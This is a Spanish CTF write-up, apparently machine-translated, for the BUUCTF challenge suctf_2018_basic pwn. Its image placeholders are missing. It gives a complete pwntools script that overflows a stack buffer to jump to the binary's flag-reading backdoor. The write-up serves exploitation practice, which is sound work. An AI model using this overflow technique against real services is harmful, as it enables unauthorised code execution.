[BUUCTF] PWN —— suctf_2018_basic pwn

suctf_2018_basic pwn

anexo

paso

  1. Inspección de rutina, programa de 64 bits, RELRO abierto y NX
    Inserte la descripción de la imagen aquí
  2. Intente ejecutar el programa para ver la situación general
    Inserte la descripción de la imagen aquí
  3. Se cargó ida de 64 bits y se encontró la función para leer la bandera al buscar la cadena, flag_addr = 0x401157
    Inserte la descripción de la imagen aquí
    main ()
    Inserte la descripción de la imagen aquí
    s desbordado, simplemente sobrescriba la dirección de retorno al problema del tipo de función de puerta trasera

Exp completa

from pwn import *

r=remote('node3.buuoj.cn',25779)
flag_addr=0x401157

payload='a'*(0x110+8)+p64(flag_addr)

r.sendline(payload)

r.interactive()

Inserte la descripción de la imagen aquí

Supongo que te gusta

Origin blog.csdn.net/mcmuyanga/article/details/113543146
Recomendado
Clasificación